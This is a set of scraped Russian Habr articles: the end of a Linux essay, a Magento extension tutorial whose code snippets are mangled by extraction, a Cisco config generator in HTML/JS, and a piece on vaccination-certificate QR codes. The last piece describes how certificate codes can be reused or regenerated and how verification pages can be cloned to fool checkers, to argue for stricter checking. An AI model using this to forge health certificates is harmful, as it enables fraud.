Это верный путь к поставленной цели, то есть к провалу. Не раз и не два я видел коллег, которые лезут в Приложения, чтобы найти управление пакетами вместо того, чтобы освоить `apt-get / aptitude` и управление репозитариями. Это довольно быстро кончалось сносом, перестановкой ОС, так как скачать пакеты, обновления не получалось — для этого надо прописать внутренние ftp сервера, чтобы обойти межсетевой экран, GUI часто не имеет этих настроек.
### Use case: поменять устройство маршрута по умолчанию
В одном знакомом офисе как-то случилось неожиданное событие — отключилась проводная сеть и надо было поменять маршрутизацию, используя беспроводную сеть, которая по прежнему была в норме. Что тут началось...
Нужно было всего лишь удалить проводное соединение, изменить настройки беспроводной сети, которой долгое время не пользовались, и подключиться к беспроводной сети. Эта задача оказалась никому не под силам, из-за того, что они заложниками беспорядочного графического интерфейса сетевых настроек Windows. Причем против Windows ~~играли~~ боролись специалисты ИТ, которые умеют решать технические проблемы, в том числе и сетевые.
Повозившись, я осознал, что Windows не имеет полноценного end-to-end точки настроек сетевых соединений. В частности штатными средствами невозможно поменять настройки беспроводной сети после того, как она разведана и соединение установлено. На своем Gentoo Linux, все это завелось после [трех команд](https://habrahabr.ru/post/315960/) `NetworkManager`.
```
(5:31)$ nmcli delete id
(5:32)$ nmcli connection edit
(5:33)$ nmcli connection up id
```
Но можно конечно и из графического интерфейса, он позволяет полноценно управлять сетевыми соединениями.
!\_rtfm
-------
Не вникайте, не учите матчасть, сохраните естественный цвет глаз и шелковистые волосы. `Центр настройки KDE`, `gedit` и `Центр приложений Ubuntu` наше все! Кто и вправду так считает, очень скоро столкнется с обстоятельствами непреодолимой силы и вернется на Windows, или Mac OS, повторяя мантру: НЭВЛнР.
Не копайтесь в инит-скриптах, xml файлах, даже не открывайте `grub.conf`, и тем более `xorg.conf`. В противном случае разочароваться у вас не получится, потому что вы поймете, что практически **все** проблемы, с которыми вы столкнетесь, имеют разумное решение за приемлемый срок, при условии, что вы вникаете в детали и постигаете принципы.
И еще, если вы умеете пользоваться поиском в интернете, то документация вам не нужна.
* `man word`, `man -K word`
* `info word` #это и вправду фейл
* `apropos word`
* [лог файлы](https://habrahabr.ru/post/332502/)
* [Howto](http://www.tldp.org/)
* `/usr/src/linux/уже ясно, что`
* Руководства пользователя `/usr/share/your_app/docs/`
Греется ноут? Не мешкай, сноси Linux. GRUB не поднялся на UEFI? Хабр [не читай](https://habrahabr.ru/post/308032/), ОС удаляй.
Вам шашки или ехать?
--------------------
Для меня шашки имеют значение, если подразумевать под этим программы с открытым исходным кодом, их [социальное значение](https://www.gnu.org/philosophy/).
Если же важнее двигаться, не важно на чем, то тогда и вправду нет смысла оставаться на ОС, в которой нет привычных программ: 1С, ~~Civilization~~, AutoCAD, ~~SQL Server~~, Unreal Tournament. Но что вы будете делать, когда очередной анонс года свершений для Linux на рабочей станции, Линуса Торвальдса или Джима Землина, наконец-то сбудется? | https://habr.com/ru/post/338846/ | null | ru | null |
# Поэтапное создание расширения для Magento на примере debug-консоли
Здравствуйте.
Заметно, что Хабр не избалован статьями о Magento, несмотря на то что платформа достаточно популярная и при этом — не простая. В статье будет показан путь создания реального расширения, доступного для скачивания. Это не hello world, скорее желание предоставить сообществу бесплатную альтернативу Commercebug (если вы работали с Magento — вы наверняка о нем слышали).
Итак, что должно представлять из себя готовое расширение? Это должен быть участок на странице с данными о текущих используемых блоках, шаблонах, handles и прочей полезной информацией. Мне показалось, что удобнее всего это было бы сделать в виде сворачиваемой «консоли» — вещи, которую мы привыкли видеть во многих играх вроде Half-Life. Естественно, никакой командной строки там не будет потому что она там просто не нужна.
Первое, с чего нужно начать — это создание файловой структуры. Поскольку я описываю реальное расширение, то прошу позволения использовать в статье реальные имена пространства имен и классов.
Определимся с нашим пространством имен (namespace) — это самая первая часть имени любого класса, она отождествляется с разработчиком расширения. Например, все внутренние классы Magento, разработанные внутри компании имеют namespace «Mage». У нас это будет «Linker». Создаем директорию с этим именем в app/code/community.
Напомню, что у платформы есть три стандартных пула кода (code pool) — core, community и local. В первом содержится только код, разработанный внутри компании, во втором — то что разрабатывает сообщество (это могут быть как платные, так и бесплатные расширения), а в третьем — изменения для данного конкретного сайта, которыми вы не собираетесь делиться.
Далее, создаем внутри директорию с именем модуля (Insider), а в ней — стандартную структуру каталогов:
`Insider
|-- Block
|-- controllers
|-- etc
|-- — config.xml
|-- Helper
|-- — Data.php
|-- Model`
Data.php и config.xml — это обязательные файлы расширения, без них код просто не запустится.
Добавляем в config.xml следующие вещи:
> `</fontxml version="1.0"?>
>
> <config>
>
> <modules>
>
> <Linker\_Insider>
>
> <version>0.1.0.0version>
>
> Linker\_Insider>
>
> modules>
>
> config>`
Здесь мы просто сообщили системе, что я — такой-то модуль и у меня такая-то версия. Пока что ничего существенного. Вот содержимое Data.php:
> `Copy Source | Copy HTML1. php</font
> 2. class Linker\_Insider\_Helper\_Data extends Mage\_Core\_Helper\_Data {}`
Это заглушка. Мы просто не собираемся использовать helper, но этот файл необходим для системы.
Немного о соглашении об именовании классов: в основном оно соответствует с таковым от Zend, то есть глядя на имя класса вы точно можете сказать, где он находится. Фактически, имя соответствует расположению в файловой системе если заменить "\_" на "/".
Теперь давайте пойдем и включим наш модуль в общем списке. Для этого открываем etc/modules/Mage\_All.xml и добавляем между описанием последнего модуля и следющие строки:
> `<Linker\_Insider>
>
> <active>trueactive>
>
> <codePool>communitycodePool>
>
> Linker\_Insider>`
Таким образом мы сообщили, что хотим включить (true) модуль под названием Linker\_Insider, который находится в пуле кода сообщества (app/code/community).
Отлично, включили! Но мы пока не можем это наблюдать на сайте, потому что он еще ничего не делает. Давайте-ка его заставим.
Для этого необходимо создать файл шаблона. Шаблоны для frontend хранятся в app/design/frontend/base/default/template. Там создаем директорию с названием нашего модуля (insider), а в ней — файлик disclose.phtml. В нем пишем, к примеру «hello» (нам пока что просто нужно увидеть, работает ли модуль). Теперь нужно указать системе, в каком месте его вставлять — это уже касается разметки. Шаблоны разметки представляют собой XML-файлы и располагаются в app/design/frontend/base/default/layout. Создадим там файл с именем insider.xml с таким содержанием:
> `</fontxml version="1.0"?>
>
> <layout>
>
> <default>
>
> <block type="core/template" name="insider" template="insider/disclose.phtml"/>
>
> default>
>
> layout>`
Атрибут 'type' говорит какой блок будет управлять рендерингом шаблона 'template'. В данном случае это будет блок с именем класса Mage\_Core\_Block\_Template. type=«modulename/blockname» расшифровывается как Namespace\_modulename\_Block\_blockname. Предполагается, что namespace уже зарегистрирован в системе и она знает, где искать блоки, начинающиеся на modulename. Mage, естественно, зарегистрирован, а когда нам понадобится использовать собственный блок — нужно будет дописать кое что в наш конфигурационный файл, но об этом дальше.
Атрибут 'name' нужен для того, чтобы другие блоки могли «зацепиться» за него с помощью — это будет понятнее тоже чуть дальше.
insider.xml сам по себе не подхватиться, нам нужно явно указать, что наш модуль собирается вносить изменения в разметку — для этого создадим еще один узел в config.xml:
> `<frontend>
>
> <layout>
>
> <updates>
>
> <insider>
>
> <file>insider.xmlfile>
>
> insider>
>
> updates>
>
> layout>
>
> frontend>`
Теперь бегите обратно на сайт и жмите F5 — наш «hello» должен появиться где-то внизу на любой странице фронтенда. Не появился? Уверены, что не используете кеш? Напомню, что отключить его можно в админке: System -> Cache Management.
Не знаю как вам, а мне, например, не нравится, что наша запись болтается в самом низу. Давайте-ка забросим ее повыше? Для того чтобы это сделать нужно немного рассказать о механизме создания разметки — перед отображением страницы Magento парсит все .xml-файлы из папки layout (естественно, только те, которые непосредственно влияют на отображение текущей страницы) и собирает из них один, но большой. С помощью атрибутов 'before' и 'after' мы можем указать парсеру, соответственно до или после какого блока вставить наш. Если поместить блок внутрь узла , то можно «прицепиться» к определенному блоку — вставить себя внутрь. Практически каждый блок имеет атрибут 'name' — так он определяет себя в общей разметке и к нему можно обратиться с просьбой «подвинуться» или «пустить переночевать».
Для того чтобы знать, какой блок в каком месте как себя определяет нужно изучать файлы разметки других модулей. К примеру, если мы заглянем в page.xml, то увидим там блок с именем 'after\_body\_start' c лейблом «Page Top». Кажется, это то что нужно! Пожалуй, к нему-то мы и прицепимся. Для этого поместим описание блока в файле insider.xml внутрь узла :
> `<reference name="after\_body\_start">
>
> <block type="core/template" name="insider" template="insider/disclose.phtml"/>
>
> reference>`
Ну, так-то лучше. Но что-то наш «hello» перестал меня вдохновлять. Давайте добавим чтоли какой-нибудь завалящий в наш шаблон, может класс какой-нибудь навесим, а к нему стиль в .css опишем, а потом еще немного динамики через .js добавим. Код оставляю на ваш вкус, описываю лишь как сделать так, чтобы он работал. Создадим файл в папке skin/frontend/base/default/css/insider/insider.css и запишем туда какой-нибудь код, который должен влиять на стиль отображения disclose.phtml. Для того чтобы добавить этот файл на страницу, нужно отредактировать файл разметки (insider.xml) и добавить следующее внутрь узла :
> `<reference name="head">
>
> <action method="addCss"><stylesheet>css/insider/insider.cssstylesheet>action>
>
> reference>`
Что это еще за action? Узел позволяет вызвать метод блока и передать ему параметры прямо из файла разметки. Это очень мощная штука. Если вы вернетесь в page.xml вы увидите, что именем «head» подписался блок 'page/html\_head', а это, в свою очередь, класс под названием Mage\_Core\_Page\_Block\_Html\_Head. Если вы взглянете на его реализацию, то без труда найдете метод addCss(). Теперь понимаете, какая это дикая штуковина — ?
Давайте займемся JavaScript. Создадим файл js/insider/insider.js и приправим кодом по вкусу. Добавлять нужно почти так же, как и CSS — в том же узле , который ссылается на «head» создайте такую запись:
> `<action method="addJs"><script>insider/insider.jsscript>action>`
Я думаю, здесь нечего объяснять — по аналогии все должно быть понятно.
Все это, конечно, хорошо, однако наше расширение до сих пор не делает ни черта полезного. Пора исправить эту ситуацию! Для того чтобы влиять на поведение шаблона и передавать в него информацию нам понадобится свой собственный блок. Создадим файл Linker/Insider/Block/Disclose.php. Заполним его следующим содержимым:
> `Copy Source | Copy HTML
> php</font
> class Linker\_Insider\_Block\_Disclose extends Mage\_Core\_Block\_Template
> {
> // Magento рекомендует изменять поведение именно этого метода вместо \_\_construct() (разница в одном "\_")
> function \_construct()
> {
> // Получаем объект запроса (по аналогии с Zend Framework)
> $request = $this->getRequest();
> // Получаем информацию о том, кто управляет текущей страницей
> $this->module = $request->getModuleName();
> $this->controller = $request->getControllerName();
> $this->action = $request->getActionName();
> }
> }`
Для того чтобы он смог передать эту информацию в шаблон, нам нужно изменить тип блока в файле insider.xml:
> `<block type="insider/disclose" name="insider" template="insider/disclose.phtml"/>`
Но здесь есть один нюанс: просто так это не заработает. Помните, у нас же свой namespace, и мы его еще нигде никак не описали? Нужно это сделать, иначе система не сможет найти класс блока. Вносим изменения в config.xml:
> `<global>
>
> <blocks>
>
> <insider>
>
> <class>Linker\_Insider\_Blockclass>
>
> insider>
>
> blocks>
>
> global>`
Шаблон, фактически, рендерится методом самого блока, а значит имеет доступ ко всем полям и методам этого самого блока, даже к защищенным и приватным. Отобразить содержимое переменных можно таким образом (писать в disclose.phtml):
> `Copy Source | Copy HTML
>
> Module: php</font echo $this->module; ?>
> Controller: php</font echo $this->controller; ?>
> Action : php</font echo $this->action; ?>`
Теперь представим, что нам вдруг захотелось красиво отображать и заполнять данными наш блок. В основном у нас тут будет name=value схема, так что проще всего это сделать через форму. Для формы полагается отдельный файл, это будет Linker/Insider/Block/Disclose/Form/Controller.php. Пускай вас не смущает название — это будет всего лишь форма с информацией о текущем контроллере/модуле/действии, вот содержимое файла:
> `Copy Source | Copy HTML
>
> php</font
> class Linker\_Insider\_Block\_Disclose\_Form\_Controller extends Varien\_Data\_Form
> {
> public function \_\_construct()
> {
> // в параметрах мы определили HTML id формы
> parent::\_\_construct(array('id' => 'insider-form-controller'));
>
> // HTML id поля, тип поля (смотри классы Varien\_Data\_Form\_Element\_\*),
> // и его конфигурация (ZF-документация во многом подойдет)
> $this->addField('module', 'text', array('label' => 'Module'));
> $this->addField('controller', 'text', array('label' => 'Controller'));
> $this->addField('action', 'text', array('label' => 'Action'));
> }
> }`
Готово, теперь давайте заполним ее данными. По концепции MVC данные должны исходить от модели, так что придется нам переместить содержимое нашего блока в модель. Создадим файл Linker/Insider/Model/Insider.php:
> `Copy Source | Copy HTML
>
> php</font
> class Linker\_Insider\_Model\_Insider extends Mage\_Core\_Model\_Abstract
> {
> public function \_construct()
> {
> // В отличае от блока, у родителей модели нет метода getRequest(), поэтому получим его таким способом:
> $request = Mage::app()->getRequest();
> $module = $request->getModuleName();
> $controller = $request->getControllerName();
> $action = $request->getActionName();
>
> // setData() записывает информацию в protected массив $\_data
> // получается, что ключи массива соответствуют id полей,
> // так мы показываем, какие данные к каким полям прицепить
> $this->setData('controller', array(
> 'module' => $module,
> 'controller' => $controller,
> 'action' => $action,
> ));
> }
> }`
Теперь мы можем заполнить форму данными из модели:
> `Copy Source | Copy HTML
> ...
> $this->addField('action', 'text', array('label' => 'Action'));
> $model = Mage::getSingleton('insider/insider');
> $this->addValues($model->getData('controller'));`
Но это тоже не будет работать просто так. Система хоть и знает, где искать блоки начинающиеся на 'insider', но не знает, где искать такие модели. Объясним ей в файле config.xml, узел :
> `<models>
>
> <insider>
>
> <class>Linker\_Insider\_Modelclass>
>
> insider>
>
> models>`
Теперь мы сможем обращаться к модели, но нужно теперь вывести нашу форму на глаза. Для этого изменим содержимое Disclose.php таким образом:
> `Copy Source | Copy HTML
>
> php</font
> class Linker\_Insider\_Block\_Disclose extends Mage\_Core\_Block\_Template
> {
> public $forms = array();
>
> protected function \_construct()
> {
> $this->forms = array(
> 'controller' => new Linker\_Insider\_Block\_Disclose\_Form\_Controller(),
> );
> }
> }`
А в шаблоне удалим те три строчки которые мы добавили ранее и заменим на что-то более простое:
> `Copy Source | Copy HTML
>
> php</font echo $this->forms['controller']->toHtml(); ?>`
Окей, все готово. Для того чтобы придать форме «консольный» вид можно написать свой рендерер. Это не слишком сложное задание и все должно быть понятно из исходного кода, поэтому я пропущу этот шаг здесь.
Теперь займемся чем-то более серьезным — было бы полезно получить список всех блоков, которые участвуют в отображении текущей страницы. Сделать это из модели можно таким вот образом:
> `Copy Source | Copy HTML
> // Отсюда можно вытащить абсолютно все, что касается текущей страницы
> $layout = Mage::app()->getLayout();
> foreach ($layout->getAllBlocks() as $name => $block) {
> $class = get\_class($block);
> // Некоторые блоки могут наследовать, к примеру, Mage\_Core\_Block\_Abstract, у которого нет такого метода
> if (method\_exists($block, 'getTemplate')) {
> /\* @var $block Mage\_Core\_Block\_Template \*/
> $template = $block->getTemplate();
> } else {
> $template = false;
> }
>
> $blocks[] = array(
> // e.g. Mage\_Catalog\_Product\_List
> 'class' => $class,
> // e.g. catalog/product\_list.phtml
> 'template' => $template,
> // e.g. "head"
> 'name' => $name,
> // e.g. /home/user/magento/app/code/core/Mage/Catalog/Product/List.php
> 'blockFile' => mageFindClassFile($class),
> // e.g. /home/user/magento/app/design/frontend/base/default/template/catalog/product\_list.phtml
> 'templateFile' => $template ? $block->getTemplateFile() : '',
> );
> }`
Создать форму, заполнить ее этими данными и отрендерить в шаблоне доверяю вам. Ну то есть это все доступно в исходном коде. Для чего тогда здесь этот кусок? Для того, чтобы вы увидели несостоятельность данного подхода. В списке блоков мы получим и себя (ок, не велика печаль), но также мы получим его не весь (стоп-стоп-стоп, это почему?). Хотя бы потому что наш блок рендерится одним из первых, почти сразу после тега . Следовательно, модель сможет вытащить информацию только о блоках, которые там уже есть, а это всего ничего. Как преодолеть это препятствие? Первое, что приходит в голову — это посмотреть какой блок рендерится последним, и встать за ним с помощью 'after'. Но если подумать, то это не подойдет хотя бы потому что может появится другой блок — который будет рендериться еще позже, или банально прицепится к нам же с помощью 'after' — и мы его не увидим. Нет, здесь нужен уже другой уровень. В процессе обработки запроса Magento генерирует достаточно большое количество событий, за которые тоже можно «зацепиться» (почти как за блоки). Как насчет события, о котором сообщается буквально до отправки страницы браузеру? Звучит отлично! Все блоки отрендерены, они уже выполнили все что умели и у нас на руках, фактически, готовый HTML. Осталось только вытащить (теперь уже точно полную) информацию о всех участвовавших блоках и добавить в конечный output свой HTML. Что для этого нужно? Во-первых, запретить рендерится автоматически (в списке блоков мы каким-то по счету, но стоим там — и система обязательно попытается нас как следует отрендерить на каком-то этапе). Самый простой способ — вставить заглушку вместо метода, который вызывается для генерации и отдачи HTML-код. Обновим наш Disclose.php новым методом:
> `Copy Source | Copy HTML
>
> public function renderView()
> {
> return '';
> }`
А теперь создадим свой, который сможем вызывать по требованию — именно когда нам понадобится:
> `Copy Source | Copy HTML
>
> public function renderSelf()
> {
> return parent::renderView();
> }`
Хорошо, теперь сделаем так, чтобы он вызывался в строго определенный момент — по событию, о котором мы говорили. Событие имеет имя, которое звучит как 'controller\_front\_send\_response\_before'. Для того чтобы «зацепиться» за него, нам нужно создать свой observer. Создадим файл Linker/Insider/Model/Observer.php с таким содержимым:
> `Copy Source | Copy HTML
>
> class Linker\_Insider\_Model\_Observer
> {
> public function renderSelf(Varien\_Event\_Observer $observer)
> {
> // смотрим, есть ли в разметке наш блок - вдруг мы решили не включать его на какой-то странице?
> // или мы сейчас находимся в админке, где им и не пахнет (но событие-то все равно fire'ится)
> if ($block = Mage::app()->getLayout()->getBlock('insider')) {
> // получаем HTML-код нашего блока
> $insiderHtml = $block->renderSelf();
> // в параметре любезно содержится front controller, который содержит в себе HTML всей страницы
> $front = $observer->getData('front');
> // добавляемся в конец
> $front->getResponse()->append('insider', $insiderHtml);
> }
> }
> }`
Теперь мы должны описать, на что наш наблюдатель должен реагировать. Это делается в config.xml, узел :
> `<events>
>
> <controller\_front\_send\_response\_before>
>
> <observers>
>
> <insider\_renderself>
>
> <class>insider/observerclass>
>
> <method>renderSelfmethod>
>
> insider\_renderself>
>
> observers>
>
> controller\_front\_send\_response\_before>
>
> events>`
Вот, собственно, и все о чем я хотел рассказать. Надеюсь, кому-то это поможет понять некоторые внутренние схемы работы Magento.
Для того чтобы избежать упреков в самопиаре, я не привожу никаких ссылок. Те, кто захочет оценить полезность расширения могут найти его на Magento Connect. | https://habr.com/ru/post/124986/ | null | ru | null |
# Генератор конфигураций для сетевого оборудования и не только
Многие хранят шаблоны конфигураций сетевых устройств (***прим.** да и не только сетевых*) в обычных текстовых файлах. И когда приходит время настраивать новое оборудование, достают эти файлики и начинают в них что-то менять. Повседневные типовые операционные задачи не являются исключением и бой с этими задачами обычно ведётся с помощью фалов-шаблонов конфигураций. Безусловно, есть приложения по управлению сетью, но увы их используют далеко не все, потому что многим они не по карману или задачи по конфигурированию оборудования выполняются достаточно редко, в связи с чем обосновать покупку такого ПО очень сложно. Хочу предложить Вам решение по реализации генератора конфигураций на базе HTML/JS, а так же небольшой DIY набор для быстрого старта.
Некоторые админы пишут генераторы конфигураций на Bash/Python, а затем обучают подающего надежды паренька из техподдержки пользоваться этими «самописными приблудами». Далее передают всю рутину и типовые задачи на первую линию поддержки. Проблема здесь только в том, что зачастую, приложение представляет из себя черный экран с мигающим курсором и предложением ввести данные строго по порядку и без ошибок. Соответственно далее эти данные будут использоваться для создания конфигурации или набора команд.
Компания, в которой я работаю, не исключение, и у нас так же хватает рутинных задач, которые хотелось бы упростить и автоматизировать. Было принято решение сделать кроссплатформенный генератор конфигураций Cisco с GUI. Естественно взгляд упал на веб-технологии, но перспектива поднимать веб-сервер (по крайней мере на начальном этапе) не очень радовала. Нашлись умные люди, которые подсказали, что всё это можно реализовать локально на стеке технологий HTML/JS, что я в итоге и сделал. Некоторые части приложения возможно выглядят не очень элегантно (в частности хранение шаблонов), но есть и неоспоримые плюсы, HTML и JS знают почти все, а если трудности и возникнут, то их всегда поможет решить гигантское сообщество. И так, к делу.
Архитектурно, генератор представляет собой веб-страничку написанную на HTML. Шаблоны конфигураций хранятся в файлах JS в виде текстовых переменных. Данные заносятся в веб-форму и на их основе происходит создание конфигурации. Давайте разберем как это происходит на конкретном примере.
Для начала давайте поставим задачу по созданию набора команд для конфигурации VLAN и его IP адреса. Для создания шаблона я взял такой кусок конфигурации.
`interface Vlan555
description === LAN ===
ip nat inside
ip virtual-reassembly in
ip address 10.47.3.1 255.255.255.0
ip tcp adjust-mss 1442
exit`
Есть простая веб страничка, которая содержит поля ввода информации *generator.html*:
```
Config generator
### Генератор конфигураций
Создать VLAN номер:
Присвоить VLAN следующий IP адрес:
/
Создать конфигурацию
#### Конфиг для Cisco | Скачать конфиг
```
К страничке подключены два скрипта (в принципе ничего не мешает всё писать в одном файле, но я разделил для наглядности):
```
// обработка введённых данных
```
Ниже листинг скрипта *actions.js*, который вообще-то мог бы быть в два раза меньше, но я решил добавить кнопку скачивания конфигурации в виде файла и из-за этого он распух. Тем не менее, я думаю это важная и нужная функция, так как конфигурации часто заливаются через tftp.
```
function begin() {
confcreate.onclick = function() {
var vlan = document.getElementById('vlan');
var ip = document.getElementById('ip');
var mask = document.getElementById('mask');
var config = document.getElementById('config');
var template = config_template;
template = template.replace(new RegExp('{{VLAN}}','g'),vlan.value);
template = template.replace(new RegExp('{{IP_ADDR}}','g'),ip.value);
template = template.replace(new RegExp('{{MASK}}','g'),mask.value);
config.innerHTML = template;
};
download.onclick = function() {
downloadInnerText('cisco_config.txt', 'config','text/plain');
};
function downloadInnerText(filename, elId, mimeType) {
var el = document.getElementById(elId);
var link = document.createElement('a');
mimeType = mimeType || 'text/plain';
link.setAttribute('download', filename);
link.setAttribute('href', 'data:' + mimeType + ';charset=utf-8,' + encodeURIComponent(el.innerText));
link.click();
}
};
document.addEventListener("DOMContentLoaded", begin);
```
```
//шаблон конфигурации устройства
```
Шаблон можно составить по-разному, но обязательно все части конфигурации должны содержатся в переменных. JavaScript воспринимает конец строки как конец переменной, поэтому приходится экранировать каждую строку обратной чертой. К тому же, в конце каждой строки добавлен HTML тег br для правильного отображения конфигурации на странице и символ окончания текстовой строки \n для корректного экспорта в тестовый файл. Кому-то такой шаблон может показаться не очень эстетичным, но несмотря на кучу «лишних» символов, создавать шаблоны и вносить в него изменения достаточно просто. Большинство текстовых редакторов имеют функцию добавления символов в конец строки. Символами {{}} в шаблоне обрамлены места куда будут подставляться данные. Ниже листинг самого шаблона *config\_tempalte.js*:
```
var config_template = "\
!===КОНФИГУРАЦИЯ===\n\
conf t\n\
!\n\
interface Vlan{{VLAN}}\n\
description === LAN ===\n\
ip nat inside\n\
ip virtual-reassembly in\n\
ip address {{IP_ADDR}} {{MASK}}\n\
ip tcp adjust-mss 1442\n\
exit\n\
!\n\
wr mem\n\
!\n\
";
```
Генератор конфигураций готов. Создав три файла и наполнив их указанными мной строчками вы получите такое приложение:
Основная его задача, принимать данные через веб-форму, подставлять их в шаблон, а результат выводить на экран. Всего 65 строчек кода, и мы имеем небольшое, но очень полезное приложение. Создание конфигурационных фалов это дело уникальное и интимное для каждой конкретной компании, поэтому предложить готовое решение на все случаи жизни, наверное, невозможно. Вы можете воспользоваться исходниками что бы написать генератор конфигураций под свои собственные нужды.
Исходники можно взять отсюда: <https://github.com/bravoavo/cisco-config-generator>
Обратите внимание, что это всего лишь пример, на основе которого каждый может сделать для себя приложение. Я попытался описать общий подход к решению задачи генерации конфигураций на примере оборудования Cisco. JavaScript очень мощный язык программирования и приложив немного усилий вы может доработать данный конфигуратор под свои нужды. В приложении, которое использую я, реализована валидация вводимой информации, генерация паролей, расчет часового пояса, IP адреса и маски сети. Кроме прочего я подключил Bootstrap что бы приложении выглядело более современно и JQuery для большей динамики и анимации. В моем случае это выглядит так:
 | https://habr.com/ru/post/307054/ | null | ru | null |
# Почему введение проверки QR-кодов не имеет смысла в общественном транспорте и торговых центрах?
Друзья, это моя первая публикация, если что-то не так, не судите строго, конструктивную критику оставляйте в комментариях, постараюсь реагировать и улучшать контент.
Пост раскроет информацию о том, чем является QR-код сертификата вакцинации, может ли он содержать печать сатаны, как его правильно проверить, сведения о плюсах, минусах, существующих ограничениях и особенностях применения. Материал для общего понимания, не содержит сложных технических подробностей, все данные взяты из открытых источников, персональные сведения в нём отсутствуют.
### 1. Что за зверь QR-код?
QR-код (Quick Response code — код быстрого реагирования) – тип [матричных штрихкодов](https://ru.wikipedia.org/wiki/%D0%A8%D1%82%D1%80%D0%B8%D1%85%D0%BE%D0%B2%D0%BE%D0%B9_%D0%BA%D0%BE%D0%B4#%D0%94%D0%B2%D1%83%D1%85%D0%BC%D0%B5%D1%80%D0%BD%D1%8B%D0%B5) (или двумерных [штрихкодов](https://ru.wikipedia.org/wiki/%D0%A8%D1%82%D1%80%D0%B8%D1%85%D0%BE%D0%B2%D0%BE%D0%B9_%D0%BA%D0%BE%D0%B4)). QR-код состоит из чёрных квадратов, расположенных в квадратной сетке на белом фоне, которые могут считываться с помощью устройств обработки изображений, таких как камера.
Обозначение «QR code» является [зарегистрированным товарным знаком](https://ru.wikipedia.org/wiki/%D0%A2%D0%BE%D0%B2%D0%B0%D1%80%D0%BD%D1%8B%D0%B9_%D0%B7%D0%BD%D0%B0%D0%BA) «DENSO Corporation», при этом использование кодов не облагается никакими [лицензионными отчислениями](https://ru.wikipedia.org/wiki/%D0%9B%D0%B8%D1%86%D0%B5%D0%BD%D0%B7%D0%B8%D0%BE%D0%BD%D0%BD%D1%8B%D0%B5_%D0%BE%D1%82%D1%87%D0%B8%D1%81%D0%BB%D0%B5%D0%BD%D0%B8%D1%8F), а сами они описаны и опубликованы в качестве стандартов ISO/IEC18004.
Не буду перегружать описанием алгоритмов кодирования и прочей технической информацией, если требуются подробности, то их можно найти в [ГОСТ Р ИСО/МЭК 18004-2015](https://docs.cntd.ru/document/1200121043).
Важно знать, что QR-код может содержать текстовую информацию, URL-адреса web-страниц, визитные карточки и даже изображения (к вопросу о печати сами знаете кого). В зависимости от размера QR-коды могут содержать от 21x21 до 177x177 модулей (версии от 1 до 40 с шагом четыре модуля для каждой стороны), при этом закодировано может быть до 4296 алфавитно-цифровых знаков.
### 2. Как получить QR-код сертификата вакцинации?
Легально получить сертификат и заветный QR-код можно завершив полный курс вакцинации (действителен 1 год), либо получив отрицательный результат ПЦР-теста (действителен 72 часа). На мой взгляд, с точки зрения скорости получения и продолжительности действия, наиболее оптимальным способом получения сертификата является вакцинация препаратом «Спутник Лайт», в данном случае сертификат с QR-кодом должен быть доступен уже через 3 дня после вакцинации, срок действия – 1 год.
### 3. Что из себя представляет QR-код сертификата вакцинации?
Сертификат вакцинации будет доступен в личном кабинете портала госуслуг, его можно скачать в формате pdf и распечатать, либо сохранить в память телефона. Считать информацию о QR-коде можно с помощью специального программно-аппаратного устройства (сканера), либо с помощью смартфона с установленным программным обеспечением для считывания QR-кодов, функционал распознания QR-кодов может быть встроен в приложение «Камера» многих современных смартфонов. Отсканировав QR-код, можно увидеть, что он содержит ссылку на портал Госуслуг, например:
<https://www.gosuslugi.ru/covid-cert/verify/9710000025717304?lang=ru&ck=f2ab62b1a16724942b19e836a83c5258>,
где:
`- «https://www.gosuslugi.ru/covid-cert/verify/» - адрес страницы проверки;`
`- «9710000025717304» – номер сертификата;`
`- «lang=ru» – язык, на котором будет возвращен результат проверки;`
`- «ck=f2ab62b1a16724942b19e836a83c5258» – некая уникальная HASH-сумма, рассчитанная для конкретного сертификата.`
Если открыть ссылку, которая содержится в QR-коде сертификата, то попадём на страницу с результатом проверки. Как мы видим, результат проверки не содержит личной информации – это плюс. Главный минус заключатся в том, что проверить QR-код без интернет-соединения или же при недоступном портале Госуслуг – невозможно!
Учитывая сложность HASH-кода, сгенерировать корректную ссылку на чужой код вакцинации теоретически возможно, но для этого нужно быть либо феноменально везучим, либо иметь в пользовании квантовый компьютер, на практике это весьма маловероятно.
### 4. Как проверить QR-код сертификата вакцинации?
Чтобы убедиться в достоверности QR-кода и в том, что вам предъявляют удостоверения о вакцинации, а не код от куриной грудки из отдела продуктов, или же и вовсе какую-нибудь зашифрованную матерную частушку, необходимо:
1. осуществить сканирование с помощью официального приложения «STOP COVID-19» ([Google market](https://play.google.com/store/apps/details?id=com.minsvyaz.gosuslugi.stopcorona&hl=ru&gl=US), [App store](https://apps.apple.com/ru/app/%D0%B3%D0%BE%D1%81%D1%83%D1%81%D0%BB%D1%83%D0%B3%D0%B8-%D1%81%D1%82%D0%BE%D0%BF-%D0%BA%D0%BE%D1%80%D0%BE%D0%BD%D0%B0%D0%B2%D0%B8%D1%80%D1%83%D1%81/id1504868945));
2. сверить паспортные данные с полученным результатом проверки.
Почему данную проверку необходимо осуществлять так и только так? Об этом далее...
### 5. Безопасность
Если Вы внимательно читали и имеете базовые понятия об IT-сфере, то уже догадались, о том, что QR-код компрометируется при первом же сканировании, как пример – код из данной статьи, я взял его с сайта «Телеканал Тульский 1», такой код может быть предъявлен к проверке любым лицом, более того, имея адрес строки проверки можно легко сгенерировать новый QR-код. Один из множества сервисов генерации доступен на сайте [tec-it.com](https://qrcode.tec-it.com/ru).
Сгенерированный код хоть и не повторяет в точности изображение исходного кода сертификата, но содержит полностью валидную, идентичную исходной, информацию.
Таким образом, к проверке может быть предъявлен чужой сертификат, а данные вашего личного сертификата становятся доступным осуществляющему проверку лицу. Именно по этой причине необходима сверка паспортных данных!
С проверкой паспорта все понятно, возникает резонный вопрос зачем проверять код с помощью приложения «STOP COVID-19»? А вот зачем – как неоднократно говорилось, QR-код – это всего лишь изображение, в котором закодирован адрес web-страницы, и этим адресом может быть совсем не ресурс портала госуслуг. Страница с валидными данными о вакцинации может быть легко скопирована, модифицирована и размещена по совершенно другому сетевому адресу, невнимательный проверяющий, скорее всего, не распознает подделку даже если сверит паспортные данные, ведь данные изменены под конкретный документ, при этом страница ничем не будет отличаться от портала госуслуг, исключая лишь url-адрес данной страницы.
Друг автора данного материала утверждает, что после введения QR-кодов он некоторое время ходил с QR-кодом от куриной грудки, затем и вовсе сгенерировал поддельную web-страничку и абсолютно везде, где он предъявлял данные QR-коды, они проходили проверку. Думаю, про банальную копию существующего QR-кода и вовсе говорить не нужно, разве Вы где-то видели, чтобы проверяющие сверяли паспортные данные? Лично я – нет.
